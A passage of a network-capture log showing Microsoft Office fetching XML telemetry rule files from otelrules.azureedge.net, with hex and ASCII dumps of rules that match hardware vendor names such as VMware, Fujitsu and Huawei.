2024-10-29 19:37:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: d7829477-101e-008d-1890-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193757Z-17c5cb586f6wmhkn5q6fu8c5ss00000006dg000000007mry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:57 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:57 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193757Z-17c5cb586f6wnfhvhw6gvetfh400000006k00000000024d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:57 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:57 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193757Z-16849878b786fl7gm2qg4r5y7000000007ag000000004q4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:57 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:57 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193757Z-16849878b78x6gn56mgecg60qc00000008p0000000012zhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:57 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:58 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193758Z-16849878b78smng4k6nq15r6s400000008kg000000002zv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:58 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193758Z-16849878b786fl7gm2qg4r5y70000000077g00000000ka8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:58 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:58 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193758Z-16849878b7867ttgfbpnfxt44s00000006xg0000000041db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:58 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:58 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193758Z-16849878b78x6gn56mgecg60qc00000008q000000000y7ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:58 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:58 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 584104f8-c01e-008d-42fd-272eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193758Z-17c5cb586f6hn8cl90dxzu28kw00000006z000000000fc0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:58 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:59 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:59 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: afbd30f1-101e-007a-739c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193759Z-r197bdfb6b4d9xksru4x6qbqr0000000075g00000000424q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:59 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:59 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193759Z-16849878b782d4lwcu6h6gmxnw00000006n000000000mxu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:59 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f6d28dea-a01e-0002-4ae8-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193759Z-15b8d89586fpccrmgpemqdqe5800000001s000000000nbb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
